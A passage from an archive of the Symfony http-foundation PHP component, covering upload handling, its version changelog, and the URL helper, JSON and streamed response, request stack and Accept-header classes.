getError(): int { return $this->error; } /** * Returns whether the file has been uploaded with HTTP and no error occurred. */ public function isValid(): bool { $isOk = \UPLOAD_ERR_OK === $this->error; return $this->test ? $isOk : $isOk && is_uploaded_file($this->getPathname()); } /** * Moves the file to a new location. * * @throws FileException if, for any reason, the file could not have been moved */ public function move(string $directory, string $name = null): File { if ($this->isValid()) { if ($this->test) { return parent::move($directory, $name); } $target = $this->getTargetFile($directory, $name); set_error_handler(function ($type, $msg) use (&$error) { $error = $msg; }); try { $moved = move_uploaded_file($this->getPathname(), $target); } finally { restore_error_handler(); } if (!$moved) { throw new FileException(sprintf('Could not move the file "%s" to "%s" (%s).', $this->getPathname(), $target, strip_tags($error))); } @chmod($target, 0666 & ~umask()); return $target; } switch ($this->error) { case \UPLOAD_ERR_INI_SIZE: throw new IniSizeFileException($this->getErrorMessage()); case \UPLOAD_ERR_FORM_SIZE: throw new FormSizeFileException($this->getErrorMessage()); case \UPLOAD_ERR_PARTIAL: throw new PartialFileException($this->getErrorMessage()); case \UPLOAD_ERR_NO_FILE: throw new NoFileException($this->getErrorMessage()); case \UPLOAD_ERR_CANT_WRITE: throw new CannotWriteFileException($this->getErrorMessage()); case \UPLOAD_ERR_NO_TMP_DIR: throw new NoTmpDirFileException($this->getErrorMessage()); case \UPLOAD_ERR_EXTENSION: throw new ExtensionFileException($this->getErrorMessage()); } throw new FileException($this->getErrorMessage()); } /** * Returns the maximum size of an uploaded file as configured in php.ini. * * @return int|float The maximum size of an uploaded file in bytes (returns float if size > PHP_INT_MAX) */ public static function getMaxFilesize(): int|float { $sizePostMax = self::parseFilesize(\ini_get('post_max_size')); $sizeUploadMax = self::parseFilesize(\ini_get('upload_max_filesize')); return min($sizePostMax ?: \PHP_INT_MAX, $sizeUploadMax ?: \PHP_INT_MAX); } private static function parseFilesize(string $size): int|float { if ('' === $size) { return 0; } $size = strtolower($size); $max = ltrim($size, '+'); if (str_starts_with($max, '0x')) { $max = \intval($max, 16); } elseif (str_starts_with($max, '0')) { $max = \intval($max, 8); } else { $max = (int) $max; } switch (substr($size, -1)) { case 't': $max *= 1024; // no break case 'g': $max *= 1024; // no break case 'm': $max *= 1024; // no break case 'k': $max *= 1024; } return $max; } /** * Returns an informative upload error message. */ public function getErrorMessage(): string { static $errors = [ \UPLOAD_ERR_INI_SIZE => 'The file "%s" exceeds your upload_max_filesize ini directive (limit is %d KiB).', \UPLOAD_ERR_FORM_SIZE => 'The file "%s" exceeds the upload limit defined in your form.', \UPLOAD_ERR_PARTIAL => 'The file "%s" was only partially uploaded.', \UPLOAD_ERR_NO_FILE => 'No file was uploaded.', \UPLOAD_ERR_CANT_WRITE => 'The file "%s" could not be written on disk.', \UPLOAD_ERR_NO_TMP_DIR => 'File could not be uploaded: missing temporary directory.', \UPLOAD_ERR_EXTENSION => 'File upload was stopped by a PHP extension.', ]; $errorCode = $this->error; $maxFilesize = \UPLOAD_ERR_INI_SIZE === $errorCode ? self::getMaxFilesize() / 1024 : 0; $message = $errors[$errorCode] ?? 'The file "%s" was not uploaded due to an unknown error.'; return sprintf($message, $this->getClientOriginalName(), $maxFilesize); } } http-foundation/CHANGELOG.md000064400000045303151113511520011500 0ustar00CHANGELOG ========= 6.3 --- * Calling `ParameterBag::getDigit()`, `getAlnum()`, `getAlpha()` on an `array` throws a `UnexpectedValueException` instead of a `TypeError` * Add `ParameterBag::getString()` to convert a parameter into string and throw an exception if the value is invalid * Add `ParameterBag::getEnum()` * Create migration for session table when pdo handler is used * Add support for Relay PHP extension for Redis * The `Response::sendHeaders()` method now takes an optional HTTP status code as parameter, allowing to send informational responses such as Early Hints responses (103 status code) * Add `IpUtils::isPrivateIp()` * Add `Request::getPayload(): InputBag` * Deprecate conversion of invalid values in `ParameterBag::getInt()` and `ParameterBag::getBoolean()`, * Deprecate ignoring invalid values when using `ParameterBag::filter()`, unless flag `FILTER_NULL_ON_FAILURE` is set 6.2 --- * Add `StreamedJsonResponse` class for efficient JSON streaming * The HTTP cache store uses the `xxh128` algorithm * Deprecate calling `JsonResponse::setCallback()`, `Response::setExpires/setLastModified/setEtag()`, `MockArraySessionStorage/NativeSessionStorage::setMetadataBag()`, `NativeSessionStorage::setSaveHandler()` without arguments * Add request matchers under the `Symfony\Component\HttpFoundation\RequestMatcher` namespace * Deprecate `RequestMatcher` in favor of `ChainRequestMatcher` * Deprecate `Symfony\Component\HttpFoundation\ExpressionRequestMatcher` in favor of `Symfony\Component\HttpFoundation\RequestMatcher\ExpressionRequestMatcher` 6.1 --- * Add stale while revalidate and stale if error cache header * Allow dynamic session "ttl" when using a remote storage * Deprecate `Request::getContentType()`, use `Request::getContentTypeFormat()` instead 6.0 --- * Remove the `NamespacedAttributeBag` class * Removed `Response::create()`, `JsonResponse::create()`, `RedirectResponse::create()`, `StreamedResponse::create()` and `BinaryFileResponse::create()` methods (use `__construct()` instead) * Not passing a `Closure` together with `FILTER_CALLBACK` to `ParameterBag::filter()` throws an `\InvalidArgumentException`; wrap your filter in a closure instead * Not passing a `Closure` together with `FILTER_CALLBACK` to `InputBag::filter()` throws an `\InvalidArgumentException`; wrap your filter in a closure instead * Removed the `Request::HEADER_X_FORWARDED_ALL` constant, use either `Request::HEADER_X_FORWARDED_FOR | Request::HEADER_X_FORWARDED_HOST | Request::HEADER_X_FORWARDED_PORT | Request::HEADER_X_FORWARDED_PROTO` or `Request::HEADER_X_FORWARDED_AWS_ELB` or `Request::HEADER_X_FORWARDED_TRAEFIK`constants instead * Rename `RequestStack::getMasterRequest()` to `getMainRequest()` * Not passing `FILTER_REQUIRE_ARRAY` or `FILTER_FORCE_ARRAY` flags to `InputBag::filter()` when filtering an array will throw `BadRequestException` * Removed the `Request::HEADER_X_FORWARDED_ALL` constant * Retrieving non-scalar values using `InputBag::get()` will throw `BadRequestException` (use `InputBad::all()` instead to retrieve an array) * Passing non-scalar default value as the second argument `InputBag::get()` will throw `\InvalidArgumentException` * Passing non-scalar, non-array value as the second argument `InputBag::set()` will throw `\InvalidArgumentException` * Passing `null` as `$requestIp` to `IpUtils::__checkIp()`, `IpUtils::__checkIp4()` or `IpUtils::__checkIp6()` is not supported anymore. 5.4 --- * Deprecate passing `null` as `$requestIp` to `IpUtils::__checkIp()`, `IpUtils::__checkIp4()` or `IpUtils::__checkIp6()`, pass an empty string instead. * Add the `litespeed_finish_request` method to work with Litespeed * Deprecate `upload_progress.*` and `url_rewriter.tags` session options * Allow setting session options via DSN 5.3 --- * Add the `SessionFactory`, `NativeSessionStorageFactory`, `PhpBridgeSessionStorageFactory` and `MockFileSessionStorageFactory` classes * Calling `Request::getSession()` when there is no available session throws a `SessionNotFoundException` * Add the `RequestStack::getSession` method * Deprecate the `NamespacedAttributeBag` class * Add `ResponseFormatSame` PHPUnit constraint * Deprecate the `RequestStack::getMasterRequest()` method and add `getMainRequest()` as replacement 5.2.0 ----- * added support for `X-Forwarded-Prefix` header * added `HeaderUtils::parseQuery()`: it does the same as `parse_str()` but preserves dots in variable names * added `File::getContent()` * added ability to use comma separated ip addresses for `RequestMatcher::matchIps()` * added `Request::toArray()` to parse a JSON request body to an array * added `RateLimiter\RequestRateLimiterInterface` and `RateLimiter\AbstractRequestRateLimiter` * deprecated not passing a `Closure` together with `FILTER_CALLBACK` to `ParameterBag::filter()`; wrap your filter in a closure instead. * Deprecated the `Request::HEADER_X_FORWARDED_ALL` constant, use either `HEADER_X_FORWARDED_FOR | HEADER_X_FORWARDED_HOST | HEADER_X_FORWARDED_PORT | HEADER_X_FORWARDED_PROTO` or `HEADER_X_FORWARDED_AWS_ELB` or `HEADER_X_FORWARDED_TRAEFIK` constants instead. * Deprecated `BinaryFileResponse::create()`, use `__construct()` instead 5.1.0 ----- * added `Cookie::withValue`, `Cookie::withDomain`, `Cookie::withExpires`, `Cookie::withPath`, `Cookie::withSecure`, `Cookie::withHttpOnly`, `Cookie::withRaw`, `Cookie::withSameSite` * Deprecate `Response::create()`, `JsonResponse::create()`, `RedirectResponse::create()`, and `StreamedResponse::create()` methods (use `__construct()` instead) * added `Request::preferSafeContent()` and `Response::setContentSafe()` to handle "safe" HTTP preference according to [RFC 8674](https://tools.ietf.org/html/rfc8674) * made the Mime component an optional dependency * added `MarshallingSessionHandler`, `IdentityMarshaller` * made `Session` accept a callback to report when the session is being used * Add support for all core cache control directives * Added `Symfony\Component\HttpFoundation\InputBag` * Deprecated retrieving non-string values using `InputBag::get()`, use `InputBag::all()` if you need access to the collection of values 5.0.0 ----- * made `Cookie` auto-secure and lax by default * removed classes in the `MimeType` namespace, use the Symfony Mime component instead * removed method `UploadedFile::getClientSize()` and the related constructor argument * made `Request::getSession()` throw if the session has not been set before * removed `Response::HTTP_RESERVED_FOR_WEBDAV_ADVANCED_COLLECTIONS_EXPIRED_PROPOSAL` * passing a null url when instantiating a `RedirectResponse` is not allowed 4.4.0 ----- * passing arguments to `Request::isMethodSafe()` is deprecated. * `ApacheRequest` is deprecated, use the `Request` class instead. * passing a third argument to `HeaderBag::get()` is deprecated, use method `all()` instead * [BC BREAK] `PdoSessionHandler` with MySQL changed the type of the lifetime column, make sure to run `ALTER TABLE sessions MODIFY sess_lifetime INTEGER UNSIGNED NOT NULL` to update your database. * `PdoSessionHandler` now precalculates the expiry timestamp in the lifetime column, make sure to run `CREATE INDEX expiry ON sessions (sess_lifetime)` to update your database to speed up garbage collection of expired sessions. * added `SessionHandlerFactory` to create session handlers with a DSN * added `IpUtils::anonymize()` to help with GDPR compliance. 4.3.0 ----- * added PHPUnit constraints: `RequestAttributeValueSame`, `ResponseCookieValueSame`, `ResponseHasCookie`, `ResponseHasHeader`, `ResponseHeaderSame`, `ResponseIsRedirected`, `ResponseIsSuccessful`, and `ResponseStatusCodeSame` * deprecated `MimeTypeGuesserInterface` and `ExtensionGuesserInterface` in favor of `Symfony\Component\Mime\MimeTypesInterface`. * deprecated `MimeType` and `MimeTypeExtensionGuesser` in favor of `Symfony\Component\Mime\MimeTypes`. * deprecated `FileBinaryMimeTypeGuesser` in favor of `Symfony\Component\Mime\FileBinaryMimeTypeGuesser`. * deprecated `FileinfoMimeTypeGuesser` in favor of `Symfony\Component\Mime\FileinfoMimeTypeGuesser`. * added `UrlHelper` that allows to get an absolute URL and a relative path for a given path 4.2.0 ----- * the default value of the "$secure" and "$samesite" arguments of Cookie's constructor will respectively change from "false" to "null" and from "null" to "lax" in Symfony 5.0, you should define their values explicitly or use "Cookie::create()" instead. * added `matchPort()` in RequestMatcher 4.1.3 ----- * [BC BREAK] Support for the IIS-only `X_ORIGINAL_URL` and `X_REWRITE_URL` HTTP headers has been dropped for security reasons. 4.1.0 ----- * Query string normalization uses `parse_str()` instead of custom parsing logic. * Passing the file size to the constructor of the `UploadedFile` class is deprecated. * The `getClientSize()` method of the `UploadedFile` class is deprecated. Use `getSize()` instead. * added `RedisSessionHandler` to use Redis as a session storage * The `get()` method of the `AcceptHeader` class now takes into account the `*` and `*/*` default values (if they are present in the Accept HTTP header) when looking for items. * deprecated `Request::getSession()` when no session has been set. Use `Request::hasSession()` instead. * added `CannotWriteFileException`, `ExtensionFileException`, `FormSizeFileException`, `IniSizeFileException`, `NoFileException`, `NoTmpDirFileException`, `PartialFileException` to handle failed `UploadedFile`. * added `MigratingSessionHandler` for migrating between two session handlers without losing sessions * added `HeaderUtils`. 4.0.0 ----- * the `Request::setTrustedHeaderName()` and `Request::getTrustedHeaderName()` methods have been removed * the `Request::HEADER_CLIENT_IP` constant has been removed, use `Request::HEADER_X_FORWARDED_FOR` instead * the `Request::HEADER_CLIENT_HOST` constant has been removed, use `Request::HEADER_X_FORWARDED_HOST` instead * the `Request::HEADER_CLIENT_PROTO` constant has been removed, use `Request::HEADER_X_FORWARDED_PROTO` instead * the `Request::HEADER_CLIENT_PORT` constant has been removed, use `Request::HEADER_X_FORWARDED_PORT` instead * checking for cacheable HTTP methods using the `Request::isMethodSafe()` method (by not passing `false` as its argument) is not supported anymore and throws a `\BadMethodCallException` * the `WriteCheckSessionHandler`, `NativeSessionHandler` and `NativeProxy` classes have been removed * setting session save handlers that do not implement `\SessionHandlerInterface` in `NativeSessionStorage::setSaveHandler()` is not supported anymore and throws a `\TypeError` 3.4.0 ----- * implemented PHP 7.0's `SessionUpdateTimestampHandlerInterface` with a new `AbstractSessionHandler` base class and a new `StrictSessionHandler` wrapper * deprecated the `WriteCheckSessionHandler`, `NativeSessionHandler` and `NativeProxy` classes * deprecated setting session save handlers that do not implement `\SessionHandlerInterface` in `NativeSessionStorage::setSaveHandler()` * deprecated using `MongoDbSessionHandler` with the legacy mongo extension; use it with the mongodb/mongodb package and ext-mongodb instead * deprecated `MemcacheSessionHandler`; use `MemcachedSessionHandler` instead 3.3.0 ----- * the `Request::setTrustedProxies()` method takes a new `$trustedHeaderSet` argument, see https://symfony.com/doc/current/deployment/proxies.html for more info, * deprecated the `Request::setTrustedHeaderName()` and `Request::getTrustedHeaderName()` methods, * added `File\Stream`, to be passed to `BinaryFileResponse` when the size of the served file is unknown, disabling `Range` and `Content-Length` handling, switching to chunked encoding instead * added the `Cookie::fromString()` method that allows to create a cookie from a raw header string 3.1.0 ----- * Added support for creating `JsonResponse` with a string of JSON data 3.0.0 ----- * The precedence of parameters returned from `Request::get()` changed from "GET, PATH, BODY" to "PATH, GET, BODY" 2.8.0 ----- * Finding deep items in `ParameterBag::get()` is deprecated since version 2.8 and will be removed in 3.0. 2.6.0 ----- * PdoSessionHandler changes - implemented different session locking strategies to prevent loss of data by concurrent access to the same session - [BC BREAK] save session data in a binary column without base64_encode - [BC BREAK] added lifetime column to the session table which allows to have different lifetimes for each session - implemented lazy connections that are only opened when a session is used by either passing a dsn string explicitly or falling back to session.save_path ini setting - added a createTable method that initializes a correctly defined table depending on the database vendor 2.5.0 ----- * added `JsonResponse::setEncodingOptions()` & `JsonResponse::getEncodingOptions()` for easier manipulation of the options used while encoding data to JSON format. 2.4.0 ----- * added RequestStack * added Request::getEncodings() * added accessors methods to session handlers 2.3.0 ----- * added support for ranges of IPs in trusted proxies * `UploadedFile::isValid` now returns false if the file was not uploaded via HTTP (in a non-test mode) * Improved error-handling of `\Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler` to ensure the supplied PDO handler throws Exceptions on error (as the class expects). Added related test cases to verify that Exceptions are properly thrown when the PDO queries fail. 2.2.0 ----- * fixed the Request::create() precedence (URI information always take precedence now) * added Request::getTrustedProxies() * deprecated Request::isProxyTrusted() * [BC BREAK] JsonResponse does not turn a top level empty array to an object anymore, use an ArrayObject to enforce objects * added a IpUtils class to check if an IP belongs to a CIDR * added Request::getRealMethod() to get the "real" HTTP method (getMethod() returns the "intended" HTTP method) * disabled _method request parameter support by default (call Request::enableHttpMethodParameterOverride() to enable it, and Request::getHttpMethodParameterOverride() to check if it is supported) * Request::splitHttpAcceptHeader() method is deprecated and will be removed in 2.3 * Deprecated Flashbag::count() and \Countable interface, will be removed in 2.3 2.1.0 ----- * added Request::getSchemeAndHttpHost() and Request::getUserInfo() * added a fluent interface to the Response class * added Request::isProxyTrusted() * added JsonResponse * added a getTargetUrl method to RedirectResponse * added support for streamed responses * made Response::prepare() method the place to enforce HTTP specification * [BC BREAK] moved management of the locale from the Session class to the Request class * added a generic access to the PHP built-in filter mechanism: ParameterBag::filter() * made FileBinaryMimeTypeGuesser command configurable * added Request::getUser() and Request::getPassword() * added support for the PATCH method in Request * removed the ContentTypeMimeTypeGuesser class as it is deprecated and never used on PHP 5.3 * added ResponseHeaderBag::makeDisposition() (implements RFC 6266) * made mimetype to extension conversion configurable * [BC BREAK] Moved all session related classes and interfaces into own namespace, as `Symfony\Component\HttpFoundation\Session` and renamed classes accordingly. Session handlers are located in the subnamespace `Symfony\Component\HttpFoundation\Session\Handler`. * SessionHandlers must implement `\SessionHandlerInterface` or extend from the `Symfony\Component\HttpFoundation\Storage\Handler\NativeSessionHandler` base class. * Added internal storage driver proxy mechanism for forward compatibility with PHP 5.4 `\SessionHandler` class. * Added session handlers for custom Memcache, Memcached and Null session save handlers. * [BC BREAK] Removed `NativeSessionStorage` and replaced with `NativeFileSessionHandler`. * [BC BREAK] `SessionStorageInterface` methods removed: `write()`, `read()` and `remove()`. Added `getBag()`, `registerBag()`. The `NativeSessionStorage` class is a mediator for the session storage internals including the session handlers which do the real work of participating in the internal PHP session workflow. * [BC BREAK] Introduced mock implementations of `SessionStorage` to enable unit and functional testing without starting real PHP sessions. Removed `ArraySessionStorage`, and replaced with `MockArraySessionStorage` for unit tests; removed `FilesystemSessionStorage`, and replaced with`MockFileSessionStorage` for functional tests. These do not interact with global session ini configuration values, session functions or `$_SESSION` superglobal. This means they can be configured directly allowing multiple instances to work without conflicting in the same PHP process. * [BC BREAK] Removed the `close()` method from the `Session` class, as this is now redundant. * Deprecated the following methods from the Session class: `setFlash()`, `setFlashes()` `getFlash()`, `hasFlash()`, and `removeFlash()`. Use `getFlashBag()` instead which returns a `FlashBagInterface`. * `Session->clear()` now only clears session attributes as before it cleared flash messages and attributes. `Session->getFlashBag()->all()` clears flashes now. * Session data is now managed by `SessionBagInterface` to better encapsulate session data. * Refactored session attribute and flash messages system to their own `SessionBagInterface` implementations. * Added `FlashBag`. Flashes expire when retrieved by `get()` or `all()`. This implementation is ESI compatible. * Added `AutoExpireFlashBag` (default) to replicate Symfony 2.0.x auto expire behavior of messages auto expiring after one page page load. Messages must be retrieved by `get()` or `all()`. * Added `Symfony\Component\HttpFoundation\Attribute\AttributeBag` to replicate attributes storage behavior from 2.0.x (default). * Added `Symfony\Component\HttpFoundation\Attribute\NamespacedAttributeBag` for namespace session attributes. * Flash API can stores messages in an array so there may be multiple messages per flash type. The old `Session` class API remains without BC break as it will allow single messages as before. * Added basic session meta-data to the session to record session create time, last updated time, and the lifetime of the session cookie that was provided to the client. * Request::getClientIp() method doesn't take a parameter anymore but bases itself on the trustProxy parameter. * Added isMethod() to Request object. * [BC BREAK] The methods `getPathInfo()`, `getBaseUrl()` and `getBasePath()` of a `Request` now all return a raw value (vs a urldecoded value before). Any call to one of these methods must be checked and wrapped in a `rawurldecode()` if needed. http-foundation/UrlHelper.php000064400000006064151113511520012303 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation; use Symfony\Component\Routing\RequestContext; use Symfony\Component\Routing\RequestContextAwareInterface; /** * A helper service for manipulating URLs within and outside the request scope. * * @author Valentin Udaltsov */ final class UrlHelper { public function __construct( private RequestStack $requestStack, private RequestContextAwareInterface|RequestContext|null $requestContext = null, ) { } public function getAbsoluteUrl(string $path): string { if (str_contains($path, '://') || str_starts_with($path, '//')) { return $path; } if (null === $request = $this->requestStack->getMainRequest()) { return $this->getAbsoluteUrlFromContext($path); } if ('#' === $path[0]) { $path = $request->getRequestUri().$path; } elseif ('?' === $path[0]) { $path = $request->getPathInfo().$path; } if (!$path || '/' !== $path[0]) { $prefix = $request->getPathInfo(); $last = \strlen($prefix) - 1; if ($last !== $pos = strrpos($prefix, '/')) { $prefix = substr($prefix, 0, $pos).'/'; } return $request->getUriForPath($prefix.$path); } return $request->getSchemeAndHttpHost().$path; } public function getRelativePath(string $path): string { if (str_contains($path, '://') || str_starts_with($path, '//')) { return $path; } if (null === $request = $this->requestStack->getMainRequest()) { return $path; } return $request->getRelativeUriForPath($path); } private function getAbsoluteUrlFromContext(string $path): string { if (null === $context = $this->requestContext) { return $path; } if ($context instanceof RequestContextAwareInterface) { $context = $context->getContext(); } if ('' === $host = $context->getHost()) { return $path; } $scheme = $context->getScheme(); $port = ''; if ('http' === $scheme && 80 !== $context->getHttpPort()) { $port = ':'.$context->getHttpPort(); } elseif ('https' === $scheme && 443 !== $context->getHttpsPort()) { $port = ':'.$context->getHttpsPort(); } if ('#' === $path[0]) { $queryString = $context->getQueryString(); $path = $context->getPathInfo().($queryString ? '?'.$queryString : '').$path; } elseif ('?' === $path[0]) { $path = $context->getPathInfo().$path; } if ('/' !== $path[0]) { $path = rtrim($context->getBaseUrl(), '/').'/'.$path; } return $scheme.'://'.$host.$port.$path; } } http-foundation/JsonResponse.php000064400000015215151113511520013027 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation; /** * Response represents an HTTP response in JSON format. * * Note that this class does not force the returned JSON content to be an * object. It is however recommended that you do return an object as it * protects yourself against XSSI and JSON-JavaScript Hijacking. * * @see https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/AJAX_Security_Cheat_Sheet.md#always-return-json-with-an-object-on-the-outside * * @author Igor Wiedler */ class JsonResponse extends Response { protected $data; protected $callback; // Encode <, >, ', &, and " characters in the JSON, making it also safe to be embedded into HTML. // 15 === JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_AMP | JSON_HEX_QUOT public const DEFAULT_ENCODING_OPTIONS = 15; protected $encodingOptions = self::DEFAULT_ENCODING_OPTIONS; /** * @param bool $json If the data is already a JSON string */ public function __construct(mixed $data = null, int $status = 200, array $headers = [], bool $json = false) { parent::__construct('', $status, $headers); if ($json && !\is_string($data) && !is_numeric($data) && !\is_callable([$data, '__toString'])) { throw new \TypeError(sprintf('"%s": If $json is set to true, argument $data must be a string or object implementing __toString(), "%s" given.', __METHOD__, get_debug_type($data))); } $data ??= new \ArrayObject(); $json ? $this->setJson($data) : $this->setData($data); } /** * Factory method for chainability. * * Example: * * return JsonResponse::fromJsonString('{"key": "value"}') * ->setSharedMaxAge(300); * * @param string $data The JSON response string * @param int $status The response status code (200 "OK" by default) * @param array $headers An array of response headers */ public static function fromJsonString(string $data, int $status = 200, array $headers = []): static { return new static($data, $status, $headers, true); } /** * Sets the JSONP callback. * * @param string|null $callback The JSONP callback or null to use none * * @return $this * * @throws \InvalidArgumentException When the callback name is not valid */ public function setCallback(string $callback = null): static { if (1 > \func_num_args()) { trigger_deprecation('symfony/http-foundation', '6.2', 'Calling "%s()" without any arguments is deprecated, pass null explicitly instead.', __METHOD__); } if (null !== $callback) { // partially taken from https://geekality.net/2011/08/03/valid-javascript-identifier/ // partially taken from https://github.com/willdurand/JsonpCallbackValidator // JsonpCallbackValidator is released under the MIT License. See https://github.com/willdurand/JsonpCallbackValidator/blob/v1.1.0/LICENSE for details. // (c) William Durand $pattern = '/^[$_\p{L}][$_\p{L}\p{Mn}\p{Mc}\p{Nd}\p{Pc}\x{200C}\x{200D}]*(?:\[(?:"(?:\\\.|[^"\\\])*"|\'(?:\\\.|[^\'\\\])*\'|\d+)\])*?$/u'; $reserved = [ 'break', 'do', 'instanceof', 'typeof', 'case', 'else', 'new', 'var', 'catch', 'finally', 'return', 'void', 'continue', 'for', 'switch', 'while', 'debugger', 'function', 'this', 'with', 'default', 'if', 'throw', 'delete', 'in', 'try', 'class', 'enum', 'extends', 'super', 'const', 'export', 'import', 'implements', 'let', 'private', 'public', 'yield', 'interface', 'package', 'protected', 'static', 'null', 'true', 'false', ]; $parts = explode('.', $callback); foreach ($parts as $part) { if (!preg_match($pattern, $part) || \in_array($part, $reserved, true)) { throw new \InvalidArgumentException('The callback name is not valid.'); } } } $this->callback = $callback; return $this->update(); } /** * Sets a raw string containing a JSON document to be sent. * * @return $this */ public function setJson(string $json): static { $this->data = $json; return $this->update(); } /** * Sets the data to be sent as JSON. * * @return $this * * @throws \InvalidArgumentException */ public function setData(mixed $data = []): static { try { $data = json_encode($data, $this->encodingOptions); } catch (\Exception $e) { if ('Exception' === $e::class && str_starts_with($e->getMessage(), 'Failed calling ')) { throw $e->getPrevious() ?: $e; } throw $e; } if (\JSON_THROW_ON_ERROR & $this->encodingOptions) { return $this->setJson($data); } if (\JSON_ERROR_NONE !== json_last_error()) { throw new \InvalidArgumentException(json_last_error_msg()); } return $this->setJson($data); } /** * Returns options used while encoding data to JSON. */ public function getEncodingOptions(): int { return $this->encodingOptions; } /** * Sets options used while encoding data to JSON. * * @return $this */ public function setEncodingOptions(int $encodingOptions): static { $this->encodingOptions = $encodingOptions; return $this->setData(json_decode($this->data)); } /** * Updates the content and headers according to the JSON data and callback. * * @return $this */ protected function update(): static { if (null !== $this->callback) { // Not using application/javascript for compatibility reasons with older browsers. $this->headers->set('Content-Type', 'text/javascript'); return $this->setContent(sprintf('/**/%s(%s);', $this->callback, $this->data)); } // Only set the header when there is none or when it equals 'text/javascript' (from a previous update with callback) // in order to not overwrite a custom definition. if (!$this->headers->has('Content-Type') || 'text/javascript' === $this->headers->get('Content-Type')) { $this->headers->set('Content-Type', 'application/json'); } return $this->setContent($this->data); } } http-foundation/StreamedResponse.php000064400000005775151113511520013674 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation; /** * StreamedResponse represents a streamed HTTP response. * * A StreamedResponse uses a callback for its content. * * The callback should use the standard PHP functions like echo * to stream the response back to the client. The flush() function * can also be used if needed. * * @see flush() * * @author Fabien Potencier */ class StreamedResponse extends Response { protected $callback; protected $streamed; private bool $headersSent; /** * @param int $status The HTTP status code (200 "OK" by default) */ public function __construct(callable $callback = null, int $status = 200, array $headers = []) { parent::__construct(null, $status, $headers); if (null !== $callback) { $this->setCallback($callback); } $this->streamed = false; $this->headersSent = false; } /** * Sets the PHP callback associated with this Response. * * @return $this */ public function setCallback(callable $callback): static { $this->callback = $callback; return $this; } public function getCallback(): ?\Closure { if (!isset($this->callback)) { return null; } return ($this->callback)(...); } /** * This method only sends the headers once. * * @param null|positive-int $statusCode The status code to use, override the statusCode property if set and not null * * @return $this */ public function sendHeaders(/* int $statusCode = null */): static { if ($this->headersSent) { return $this; } $statusCode = \func_num_args() > 0 ? func_get_arg(0) : null; if ($statusCode < 100 || $statusCode >= 200) { $this->headersSent = true; } return parent::sendHeaders($statusCode); } /** * This method only sends the content once. * * @return $this */ public function sendContent(): static { if ($this->streamed) { return $this; } $this->streamed = true; if (null === $this->callback) { throw new \LogicException('The Response callback must not be null.'); } ($this->callback)(); return $this; } /** * @return $this * * @throws \LogicException when the content is not null */ public function setContent(?string $content): static { if (null !== $content) { throw new \LogicException('The content cannot be set on a StreamedResponse instance.'); } $this->streamed = true; return $this; } public function getContent(): string|false { return false; } } http-foundation/RequestStack.php000064400000005215151113511530013015 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation; use Symfony\Component\HttpFoundation\Exception\SessionNotFoundException; use Symfony\Component\HttpFoundation\Session\SessionInterface; /** * Request stack that controls the lifecycle of requests. * * @author Benjamin Eberlei */ class RequestStack { /** * @var Request[] */ private array $requests = []; /** * Pushes a Request on the stack. * * This method should generally not be called directly as the stack * management should be taken care of by the application itself. * * @return void */ public function push(Request $request) { $this->requests[] = $request; } /** * Pops the current request from the stack. * * This operation lets the current request go out of scope. * * This method should generally not be called directly as the stack * management should be taken care of by the application itself. */ public function pop(): ?Request { if (!$this->requests) { return null; } return array_pop($this->requests); } public function getCurrentRequest(): ?Request { return end($this->requests) ?: null; } /** * Gets the main request. * * Be warned that making your code aware of the main request * might make it un-compatible with other features of your framework * like ESI support. */ public function getMainRequest(): ?Request { if (!$this->requests) { return null; } return $this->requests[0]; } /** * Returns the parent request of the current. * * Be warned that making your code aware of the parent request * might make it un-compatible with other features of your framework * like ESI support. * * If current Request is the main request, it returns null. */ public function getParentRequest(): ?Request { $pos = \count($this->requests) - 2; return $this->requests[$pos] ?? null; } /** * Gets the current session. * * @throws SessionNotFoundException */ public function getSession(): SessionInterface { if ((null !== $request = end($this->requests) ?: null) && $request->hasSession()) { return $request->getSession(); } throw new SessionNotFoundException(); } } http-foundation/AcceptHeader.php000064400000006554151113511530012716 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\HttpFoundation; // Help opcache.preload discover always-needed symbols class_exists(AcceptHeaderItem::class); /** * Represents an Accept-* header. * * An accept header is compound with a list of items, * sorted by descending quality. * * @author Jean-François Simon */ class AcceptHeader { /** * @var AcceptHeaderItem[] */ private array $items = []; private bool $sorted = true; /** * @param AcceptHeaderItem[] $items */ public function __construct(array $items) { foreach ($items as $item) { $this->add($item); } } /** * Builds an AcceptHeader instance from a string. */ public static function fromString(?string $headerValue): self { $parts = HeaderUtils::split($headerValue ?? '', ',;='); return new self(array_map(function ($subParts) { static $index = 0; $part = array_shift($subParts); $attributes = HeaderUtils::combine($subParts); $item = new AcceptHeaderItem($part[0], $attributes); $item->setIndex($index++); return $item; }, $parts)); } /** * Returns header value's string representation. */ public function __toString(): string { return implode(',', $this->items); } /** * Tests if header has given value. */ public function has(string $value): bool { return isset($this->items[$value]); } /** * Returns given value's item, if exists. */ public function get(string $value): ?AcceptHeaderItem { return $this->items[$value] ?? $this->items[explode('/', $value)[0].'/*'] ?? $this->items['*/*'] ?? $this->items['*'] ?? null; } /** * Adds an item. * * @return $this */ public function add(AcceptHeaderItem $item): static { $this->items[$item->getValue()] = $item; $this->sorted = false; return $this; } /** * Returns all items. * * @return AcceptHeaderItem[] */ public function all(): array { $this->sort(); return $this->items; } /** * Filters items on their value using given regex. */ public function filter(string $pattern): self { return new self(array_filter($this->items, fn (AcceptHeaderItem $item) => preg_match($pattern, $item->getValue()))); } /** * Returns first item. */ public function first(): ?AcceptHeaderItem { $this->sort(); return $this->items ? reset($this->items) : null; } /** * Sorts items by descending quality. */ private function sort(): void { if (!$this->sorted) { uasort($this->items, function (AcceptHeaderItem $a, AcceptHeaderItem $b) { $qA = $a->getQuality(); $qB = $b->getQuality(); if ($qA === $qB) { return $a->getIndex() > $b->getIndex() ? 1 : -1; } return $qA > $qB ? -1 : 1; }); $this->sorted = true; } } } http-foundation/RateLimiter/PeekableRequestRateLimiterInterface.php000064400000002137151113511530021664 